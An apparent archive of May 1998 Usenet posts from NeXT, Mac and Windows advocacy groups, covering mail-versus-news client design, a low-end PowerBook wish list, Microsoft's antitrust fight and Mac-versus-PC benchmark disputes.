> > This is so silly. Mail is sent to me through the address of a mailbox.
> > News is sent to me at the address of a newsgroup.
>
> Mail is sent to YOUR mailbox - it is assigned to you, the newsgroup
> isn't.
It wasn't assigned to me. I bought it! What do you mean to say? That I
don't have a choice in how I use the mailbox I bought with hard-earned
money? If I want it to act like a newsgroup, by God, it will. And it
does, at times.
> > I get each from the appropriate place. I don't know how anyone could
> > possibly send NNTP messages to my physical computer unless I were running
> > innd there.
>
> You "get" news from the appropriate spot, mail is delivered and you
> "retrieve" it. Still a difference.
So it comes down to the difference between "get" and "retrieve". I see.
I'll start telling that to those under my tutelage: "See, news is like
'getting' stuff, but mail is 'retrieving' it. That's the fundamental
difference in the UI, by the way."
Maybe I could write a little suite of mail and news programs (separate,
of course) and name them "Get" and "Retrieve" to make the point clear.
[Maybe my sarcasm seems a little harsh; I'm just trying to make a point,
here: the difference is all in *your* head, not mine, and not in the
software itself. Your preference is perfectly valid, but it's not
normative by any stretch of the imagination]
> > Both are inherently text streams sent to a storage address whereupon
> > they can be retrieved at will. There's no difference, except in your
> > mind.
>
> Well, gee, then let's just say they are both streams of binary data and
> say there's no difference between them and any other type of computer
> data.
Replace "streams" with "messages" and you're getting the point.
> > I treat them the same way. It's my choice, and my preference. There
> > doesn't seem to be a popular mandate for separating mail and news
> > functionality, and there's no technical reason to do it, either.
>
> Run a vacation program that responds to newsgroup post and see if there
> isn't a popular mandate.
This is a matter of UI? I don't think so.
> > Your door? It's your mailbox, and you invited them there!! If you
> > pretended to own comp.sys.next.advocacy, you'd be complaining about all
> > the people knocking on your door (as many presume to do).
>
> I DON'T pretend to own comp.sys.next.advocacy - I do pretend to own my
> mailbox. And yes I did invite them to my mailbox, that was kinda the
> point you know.
So why did you use the metaphor of "people knocking on your door", as if
they were a disturbance? It's misleading and unfair.
And it has nothing to do with UI. There is no reason (apart from
personal preference) to separate clients.
> > [cut - more confusion between preference and something called
> > "conceptual difference"]
>
> "Conceptual difference" - a pinhammer and a sledgehammer.
Wrong. That's functional and physical difference.
"Conceptual difference" - using a hammer as a tool, using a hammer as a
weapon.
MJP
From: macghod@concentric.net
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 7 May 1998 20:55:04 GMT
Message-ID: <6it738$ceg$1@newsfep4.sprintmail.com>
Mime-Version: 1.0
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Cc: sjobs@apple.com,leadership@apple.com
No doubt about it, Apples mid line and high end powerbooks kick the living
daylights out of any competitor. APple apparently no longer has the 1400's,
to which I say good riddance, they sucked! A 180 mhz 1400 WOULD be 1/2 as
fast as a 3400 180
So from $2000 and up, Apple ROCKS! Now I ask APple to be even bolder!
$999 powerbook 3400 180 with dual scan screen,48 megs ram, 2 gig hard drive,
2 megs vram, floppy(modem, 10 base t optional)
$1599 3400 200 with active matrix, 48 megs ram, 2 gig hard drive, 2 megs
vram, floppy (modem, 10 base t optional)
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Thu, 07 May 1998 14:07:32 -0700
Organization: Digital Universe Corporation
Message-ID: <35522293.731DC4F3@alum.mit.edu>
Mime-Version: 1.0
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Dr. Mankiw,
I read your recent statement regarding a potential Justice Department delay of
Windows 98. I will quote the context of the rubbish for your benefit:
http://cnnfn.com/digitaljam/9805/05/gates/index.htm:
"Another supporter called on by the software giant was Gregory Mankiw, professor
of economics at Harvard University, who said the government's attempt to delay
Windows 98 'would throw sand into the gears of human progress.'"
Needless to say, I am keenly interested in a detailed explanation from you as to
how postponing the release of Windows 98 would 'throw sand into the gears of
human progress'. Please also compare and contrast the reprocussions of a
Justice Department delay of Windows 98 with the reprocussions of Microsoft's
self-inflicted several year delays in the release of both Windows 95 and Windows
NT 4.0. Finally, please explain to the reasonable people of the world why
Microsoft's delays of Windows 95 and Windows NT 4.0 are not the result of an
anti-competitive measure to prematurely announce ship dates in order to secure
market share, and then have those ship dates slip because they were technically
impossible in the first place.
Eric Hermanson
Distribution:
comp.sys.next.advocacy
comp.sys.mac.advocacy
comp.sys.windows.advocacy
Dr Gregory Mankiw (ngmankiw@harvard.edu)
From: greg@sherrill.kiva.net (Gregory Travis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 7 May 1998 16:11:36 -0500
Organization: Kiva Networking
Message-ID: <6it828$bnt$1@sherrill.kiva.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6iqe3d$q5e$1@vixen.cso.uiuc.edu> <355675d5.21298876@news.nai.net> <6it3c0$hhd$1@vixen.cso.uiuc.edu>
In article <6it3c0$hhd$1@vixen.cso.uiuc.edu>,
TERENCE MURPHY <tsmurphy@cs.uiuc.edu> wrote:
>In article <355675d5.21298876@news.nai.net>,
>Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote:
>>On 6 May 1998 19:36:13 GMT, tsmurphy@cs.uiuc.edu (TERENCE MURPHY)
>>wrote:
>>
>>>In article <355d5b06.148323868@news.nai.net>,
>>>Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote:
>>>
>>>>that may not have anything to do with anything but microsoft is but a
>>>>spec of dust on the nuts of companies like GE, exxon, ibm, phillip
>>>>morris, at&t, etc..
>>
>>>At over $200,000,000,000 Microsoft has the second biggest market
>>>value (only behind GE) of any company in the world.
>>
>>high market value because the stock is overvalued. take a look at
>>earnings.
>
>Only fourteen companies have higher profits than Microsoft, and only
>two are more than double theirs. They also have the highest growth
>rate of anybody in the top 25, and the highest profits/revenue ratio
>in the world. Smaller? Of course. A speck of dust? You wish.
Microsoft does, indeed, have an impressive profit:revenue ratio. My
question is: Where the heck is that profit going? After all, while
Microsoft's capitalization is at a staggering $200 billion, they list only
$14 billion in assets. I suspect that they are having to use those
profits to aggressively buy back stock.
GE, on the other hand, the fifth-largest company in the US with $90 billion
in revenue (Microsoft is the 137th largest with $11 billion in revenue) lists
over $304 billion dollars in assets, yet has a market cap of "just" $260
billion.
Now, you tell me, which is the better buy - which is a larger component
of the national economy. A $90 billion/year leviathan with $304 billion
in tangible assets, or a puny $11 billion/year paper miracle with just
$14 billion in assets? Which is the safer buy? Which generates more
net economic activity?
Hell, >DIGITAL< is a larger company than Microsoft and they're DEAD. My
bloody grocery store (Kroger) is over TWICE Microsoft's size. I daresay
a bad month of hamburger sales is likely to thrash the US economy worse
than a delay of Win98 shoveware.
greg
--
greg travis "The coffee shop piano plays toe-tapping jazz,
greg@littlebear.com thanks to its Windows operating system."
http://www.prime-mover.org/ --- Microsoft, in "The Future is Today"
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 7 May 1998 15:23:15 -0600
Organization: Idaho State University
Message-ID: <6it8o3$oi9$1@inconnu.isu.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net>
In article <6it38j$fhc$1@gte2.gte.net>, Roger <roger@.> wrote:
->No, Win98 is OSR2+multiple monitors without special drivers+a
->different driver model which makes it easier for an OEM to develop one
->driver for both 98 and NT+USB support standard+a utility to safely
->convert to a FAT32 environment+and improved defragmenter+a wizard
->which can recommend steps to optimize your system based on your
->usage+a wizard which can keep you apprised of updates / patches to the
->OS or it's utilities+the testing required to make sure all the above
->works reasonably well on a wide variety of hardware, new and
->not-so-new
So, what you're saying is: Unless you have multiple monitors, you
won't see much of a difference with Windows98.
--
Wheel is turning, but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 7 May 1998 21:15:52 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6l4948.ou7.jedi@dementia.mishnet>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6ioone$clv$5@ligarius.ultra.net> <slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net> <6ippm0$4lb$1@news0-alterdial.uu.net> <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net> <6iq2sd$b9r$1@news0-alterdial.uu.net> <joe.ragosta-0605981304450001@wil103.dol.net>
On Wed, 06 May 1998 13:04:44 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>My vote for MS shill of the year award goes to Dr. Mankiw. The following
>is from MacOS Rumors (www.macosrumors.com):
>
>> Heed this ominous warning regarding the onrushing fate of humankind,
>> given by Havard economics professor, Dr. N. Gregory Mankiw on the
>> CNet News site Tuesday afternoon.
>> <http://www.news.com/News/Item/0,4,21804,00.html> Dr. N. Gregory
>> Mankiw, a professor of economics at Harvard, echoed that forecast, saying
>> postponing the release of Windows 98 'would throw sand into the
>> gears of human progress.' "
If you're gears can't stand a little sand,
your mechanical engineer really should be shot.
'-)
>
>Oooh. A delay in Win98 is going to throw sand in the gears of human
>progress. I wonder how much _that_ quote cost Microsoft.
From: "Hummer" <TheFirst.Hummer@worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Microsoft's Hypocrisy
Date: 7 May 1998 21:53:40 GMT
Organization: AT&T WorldNet Services
Message-ID: <6itah4$1sd@bgtnsc03.worldnet.att.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net> <35521108.667D@CONVEX.COM> <3552159A.F2105167@alum.mit.edu>
Once upon a time, Age and Guile were drinking in a bar, and they
decided that since they ran the computer industry they should do something
about all the little personal computers popping up in the stores. They
didn't like the idea that someone could buy on and then sever their ties to
the to "Big Fuckin Server". They owned the BFS business, and they also ran
the priesthood that controlled it, cryptic chants and all. So, naturally,
Age and Guile went to the guy who owned the micro computer business, the
owner of "The Current Main Thing". Well, Mr. Current Main Thing was pure,
pure as the driven snow, and he also didn't like the idea of small profit
margins on quantity. He liked big margins on a smaller market. So, he
told Age and Guile to fuck off. Age and Guile then went to see Youth and
Enthusiasm. Youth and Enthusiasm were having a hard time, cause they
weren't Mr. Current Main Things' favorite competitors. Age and Guile made
them an offer. Youth and Enthusiasm went off and copped a clone of The
Current Main Thing, and then they got some exposure and some better
business. All on small margin, but on big quantity.
Age and Guile retained the Big Fuckin Server business, retained the
priesthood, and retained their control by proclaiming that the PC wasn't
any better than the Network Computer, then called a terminal. They also
made emulators in software so that you could run all of your PC software on
their Big Fuckin Server. Too bad, Age and Guile lost it. Mr. pure ended
up with no biz, and Youth and Enthusiasm got pies in the face and crap for
being in the right place at the right time. Well, some people now think
that Youth and Enthusiasm should change their name to Age and Guile. These
same folks also think that the Big Fuckin Server is the wave of the future.
Youth and Enthusiasm may no longer be as young and enthusiastic as they
once were, and they may not be as pure as some people think they should be.
True, they are the Current Main Thing, but at least they're still aiming
at the personal computer rather than a new priesthood. And all the people
chanting "burn the Castle of the Current Main Thing" sound a whole lot like
the original Age and Guile. They think that the users are too damn stupid
to do their own thing since the users are obviously not buying what they
should, and since what they are buying is obviously not as good as it
should be. I guess you had to be there when the original Age and Guile
were in charge to really appreciate the joke.
Hummer
Eric Hermanson <eric@alum.mit.edu> wrote in article
<3552159A.F2105167@alum.mit.edu>...
> Microsoft says any Justice Department induced delay of Windows 98 will
bring down the economic structures of the entire World. But,
> at the same time, Microsoft itself delayed (through mismanagement of the
software development cycle) the release of Windows 95 for 2
> years, and Windows NT 4.0 for 4 years. Yet, according to Microsoft, the
market flourished during those delays.
>
> I smell a rat - and it lives in Redmond.
>
> Eric
>
>
>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 7 May 1998 16:55:19 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6isp1n$j2p$4@ns3.vrx.net>
References: <6it738$ceg$1@newsfep4.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: macghod@concentric.net
In <6it738$ceg$1@newsfep4.sprintmail.com> macghod@concentric.net claimed:
> So from $2000 and up, Apple ROCKS! Now I ask APple to be even bolder!
> $999 powerbook 3400 180 with dual scan screen,48 megs ram, 2 gig hard
drive,
> 2 megs vram, floppy(modem, 10 base t optional)
> $1599 3400 200 with active matrix, 48 megs ram, 2 gig hard drive, 2 megs
> vram, floppy (modem, 10 base t optional)
Ok, who told?
Maury
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8o3pa.1t7p8ha9ufp0tN@roxboro0-047.dyn.interpath.net>
References: <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net> <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net> <1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net> <35520F22.1486@CONVEX.COM> <1d8o1xu.1yrqi911iuxkv7N@roxboro0-028.dyn.interpath.net> <35521ABB.1A3A@CONVEX.COM>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Thu, 07 May 1998 22:19:23 GMT
NNTP-Posting-Date: Thu, 07 May 1998 15:19:23 PDT
Michael Peck <MJPECK@CONVEX.COM> wrote:
> John Moreno wrote:
>
> > > In fact, normally, you get your mail from *exactly* the same place you
> > > get your news: your ISP. In my case, they're even on the same freaking
> > > server.
> >
> > The mailbox is YOURS with space limitations (true, you don't generally
> > overrun them, but they are there).
>
> You're right, that might be the very first UI difference: mail clients
> need a space warning. Reason enough for separating clients, yes?
> Absolutely.
>
> > > This is so silly. Mail is sent to me through the address of a mailbox.
> > > News is sent to me at the address of a newsgroup.
> >
> > Mail is sent to YOUR mailbox - it is assigned to you, the newsgroup
> > isn't.
>
> It wasn't assigned to me. I bought it! What do you mean to say? That I
> don't have a choice in how I use the mailbox I bought with hard-earned
> money? If I want it to act like a newsgroup, by God, it will. And it
> does, at times.
>
> > > I get each from the appropriate place. I don't know how anyone could
> > > possibly send NNTP messages to my physical computer unless I were running
> > > innd there.
> >
> > You "get" news from the appropriate spot, mail is delivered and you
> > "retrieve" it. Still a difference.
>
> So it comes down to the difference between "get" and "retrieve". I see.
> I'll start telling that to those under my tutelage: "See, news is like
> 'getting' stuff, but mail is 'retrieving' it. That's the fundamental
> difference in the UI, by the way."
>
> Maybe I could write a little suite of mail and news programs (separate,
> of course) and name them "Get" and "Retrieve" to make the point clear.
>
> [Maybe my sarcasm seems a little harsh; I'm just trying to make a point,
> here: the difference is all in *your* head, not mine, and not in the
> software itself. Your preference is perfectly valid, but it's not
> normative by any stretch of the imagination]
>
> > > Both are inherently text streams sent to a storage address whereupon
> > > they can be retrieved at will. There's no difference, except in your
> > > mind.
> >
> > Well, gee, then let's just say they are both streams of binary data and
> > say there's no difference between them and any other type of computer
> > data.
>
> Replace "streams" with "messages" and you're getting the point.
>
> > > I treat them the same way. It's my choice, and my preference. There
> > > doesn't seem to be a popular mandate for separating mail and news
> > > functionality, and there's no technical reason to do it, either.
> >
> > Run a vacation program that responds to newsgroup post and see if there
> > isn't a popular mandate.
>
> This is a matter of UI? I don't think so.
>
> > > Your door? It's your mailbox, and you invited them there!! If you
> > > pretended to own comp.sys.next.advocacy, you'd be complaining about all
> > > the people knocking on your door (as many presume to do).
> >
> > I DON'T pretend to own comp.sys.next.advocacy - I do pretend to own my
> > mailbox. And yes I did invite them to my mailbox, that was kinda the
> > point you know.
>
> So why did you use the metaphor of "people knocking on your door", as if
> they were a disturbance? It's misleading and unfair.
>
> And it has nothing to do with UI. There is no reason (apart from
> personal preference) to separate clients.
>
> > > [cut - more confusion between preference and something called
> > > "conceptual difference"]
> >
> > "Conceptual difference" - a pinhammer and a sledgehammer.
>
> Wrong. That's functional and physical difference.
>
> "Conceptual difference" - using a hammer as a tool, using a hammer as a
> weapon.
>
> MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 7 May 1998 22:44:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6l4eb3.k7e.sal@panix3.panix.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com>
newsgoups trimmed...
On 7 May 1998 20:55:04 GMT, macghod@concentric.net <macghod@concentric.net> wrote:
>No doubt about it, Apples mid line and high end powerbooks kick the living
>daylights out of any competitor. APple apparently no longer has the 1400's,
<<SNIP>>
>So from $2000 and up, Apple ROCKS! Now I ask APple to be even bolder!
>$999 powerbook 3400 180 with dual scan screen,48 megs ram, 2 gig hard drive,
>2 megs vram, floppy(modem, 10 base t optional)
>$1599 3400 200 with active matrix, 48 megs ram, 2 gig hard drive, 2 megs
>vram, floppy (modem, 10 base t optional)
Hmmm... Didn't Steve say something about this at the Apple Event? I think
I read something about Apple addressing the "consumer portible" by the
end of the year.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 7 May 1998 18:58:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6iteah$h8r$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <35506FF8.E8C2FE65@nstar.net> <6iqnu2$eqt$1@crib.bevc.blacksburg.va.us> <3551B86D.998C4455@nstar.net>
In article <3551B86D.998C4455@nstar.net>, "Michael J. Peck" <mjpeck@nstar.net> wrote:
> Nathan Urban wrote:
> as I sensed you were affirming your right to choice but were dangerously
> confusing that right with an advocacy that claims here, and elsewhere,
> that there is only one right way to do [mail and news handling].
I never claimed anything of the sort.
> Now I understand your comments better, in light of the fact that you
> aren't really affirming choice but rather the fact that a bundle
> solution is just plain wrong.
I didn't say that either! I said that I have no compelling need for
a bundle solution, and that a bundle solution would have to be _a lot
better_ than what I'm using now for me to switch. I also think that
bundle solutions are also hard to do _right_ and that using separate
apps that communicate minimally but usefully is better than a poor
implementation of a bundle solution within one app.
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Microsoft's Hypocrisy
Date: 7 May 1998 23:13:52 GMT
Organization: MiscKit Development
Message-ID: <6itf7g$6cm$1@news.xmission.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net> <35521108.667D@CONVEX.COM> <3552159A.F2105167@alum.mit.edu> <6itah4$1sd@bgtnsc03.worldnet.att.net>
"Hummer" <TheFirst.Hummer@worldnet.att.net> wrote:
>[...]
> Youth and Enthusiasm may no longer be as young and enthusiastic as they
> once were, and they may not be as pure as some people think they should be.
> True, they are the Current Main Thing, but at least they're still aiming
> at the personal computer rather than a new priesthood. [...].
Hahahahahahahahaha! You can't be serious!
"...rather than a new priesthood", indeed. They _are_ the "new priesthood",
like it or not!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
Newsgroups: comp.sys.next.advocacy
Subject: cancel <1d8o3pa.1t7p8ha9ufp0tN@roxboro0-047.dyn.interpath.net>
From: phenix@interpath.com (John Moreno)
Control: cancel <1d8o3pa.1t7p8ha9ufp0tN@roxboro0-047.dyn.interpath.net>
Message-ID: <1d8oc0g.mco9g61pa2hqgN@roxboro0-004.dyn.interpath.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Thu, 07 May 1998 23:41:13 GMT
NNTP-Posting-Date: Thu, 07 May 1998 16:41:13 PDT
Article cancelled by its poster.
From: "Hummer" <TheFirst.Hummer@worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Microsoft's Hypocrisy
Date: 8 May 1998 00:16:48 GMT
Organization: AT&T WorldNet Services
Message-ID: <6ititg$iap@bgtnsc03.worldnet.att.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net> <35521108.667D@CONVEX.COM> <3552159A.F2105167@alum.mit.edu> <6itah4$1sd@bgtnsc03.worldnet.att.net> <6itf7g$6cm$1@news.xmission.com>
Oh, you're right. You hook your dumb terminal to a cable and then they
tell you what you can access, what you can download, and when you can have
it. That is the definition of a priesthood. As it stands, I guess you
call MS before you hook to the net or install Linux. You should get a
clue. They are the new main thing. That's all. Give the network pc a
chance to take hold, and even getting to newsgroups will end up as
regulated or fee-for-service type of game.
Hummer
Don Yacktman <don@misckit.com> wrote in article
<6itf7g$6cm$1@news.xmission.com>...
> "Hummer" <TheFirst.Hummer@worldnet.att.net> wrote:
> >[...]
> > Youth and Enthusiasm may no longer be as young and enthusiastic as
they
> > once were, and they may not be as pure as some people think they should
be.
> > True, they are the Current Main Thing, but at least they're still
aiming
> > at the personal computer rather than a new priesthood. [...].
>
> Hahahahahahahahaha! You can't be serious!
>
> "...rather than a new priesthood", indeed. They _are_ the "new
priesthood",
> like it or not!
>
> --
> Later,
>
> -Don Yacktman
> don@misckit.com
> <a href="http://www.misckit.com/don.html">My home page</a>
>
>
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 7 May 1998 01:21:57 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6l235l.mbk.jedi@dementia.mishnet>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <slrn6l12bb.lgl.jedi@dementia.mishnet> <6ir1j6$s1s$2@ligarius.ultra.net>
On Wed, 6 May 1998 20:50:55 -0400, John Saunders <jws@jws.ultranet.com> wrote:
>jedi wrote in message ...
>>On Wed, 6 May 1998 10:59:07 -0400, John Saunders <jws@jws.ultranet.com>
>wrote:
>>>Joe Ragosta wrote in message ...
>>>>In article <6iomt3$bac$2@ligarius.ultra.net>, "John Saunders"
>>>><jws@jws.ultranet.com> wrote:
>>>>> So when it comes to a situation where someone claims they've looked at
>>>all
>>>>> the potential problems, but they're still going to do so and such a
>thing
>>>>> for "my own good", I'm more than just skeptical. I react like someone
>who
>>>>> knows they're being lied to. Which is often the case.
>>>>
>>>>But I don't see anyone claiming to do this for your own good. The claim
>is
>>>>that they're enforcing the laws. The consequences are not their concern.
>>>>Nor should they be.
>>>>
>>>
>>>
>>>Joe,
>>>
>>>In my state (Massachusetts), the Attourney General is elected. He doesn't
>>>get re-elected by proudly stating his record of enforcing obscure
>anti-trust
>>>laws no one has ever heard of ("what's a trust?"). He will be re-elected
>by
>>
>> I don't know about you but, my shoddy 'inner city'
>> public school education even managed to cover the
>> this topic.
>
>jedi,
>
>Did your post get cut off? I'm not sure what you're getting at.
Trust and Anti-trust laws are so 'obscure' that
they even get covered by the curriculums of
shitty large urban school districts.
They're the elements of mediocre history and civics
education. For some that may consitute obscurity,
I disagree.
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Pointcast and Apple?
Date: Wed, 6 May 1998 21:47:20 -0400
Organization: @Home Network
Message-ID: <6ir3s0$8n9$1@ha2.rdc1.nj.home.com>
References: <kalivoda-0605981403490001@defiant.cssites.uga.edu>
Simply because push technology is dead. Way dead. Whats
next...XML?
chris
Ted Kalivoda wrote in message ...
>What's the deal with Pointcast and Apple? No news updates or activity on
>the Apple channel.
>
>--
>Ted
>kalivoda@arches.uga.edu "The sleep of reason
>www.arches.uga.edu/~kalivoda gives rise to monsters"..Goya
Date: Thu, 07 May 1998 21:11:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Message-ID: <joe.ragosta-0705982111420001@elk53.dol.net>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net> <3553A611.7079@sengles.dircon.co.uk>
In article <3553A611.7079@sengles.dircon.co.uk>, mike@sengles.dircon.co.uk
wrote:
>
> Joe,
> In the latest issue of PCPRO magazine there is an interesting test.
> You will remember that this is the British magazine that had an article
> by Jon Honeyball, praising Apple computers.
>
> They did a group test of 12( DELL GATEWAY etc) Pcs. The winning Pc
> costing UKP 1200( inc 15inch monitor) was a made by a clone maker KT.
> They are a very very small company.
> The magazine then did a comparison with a G3 233 desktop.
> The G3 was UKP1369(inc 17 inch Fst monitor) plus UKP55 for an extra 32
> ram to match the PC.The PC was a 333 LX Pentium 11. The Pc and Mac were
> about the same in peripherals, except that the PC had a very fast
> Seagate EIDE drive.
> They ran Lightwave 5.5 and used a test render on both machines.
> Lightwave is cross platform.
> The G3 took 506 secs and the Pc took 306 secs.
Do you have a URL?
I ask because my web page has a link to a page which is full of Lightwave
data and the Macs _destroy_ PII systems. In fact, the Macs outperform DUAL
PII systems (and some Alpha systems).
It's strange that there are 100 or so machines on this web site which show
that the Mac is faster, but you claim that it's slower.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: pkoren@worldnet.att.net (Peter Koren)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: Thu, 07 May 1998 02:34:28 GMT
Organization: AT&T WorldNet Services
Message-ID: <6ir6mg$6ej@bgtnsc03.worldnet.att.net>
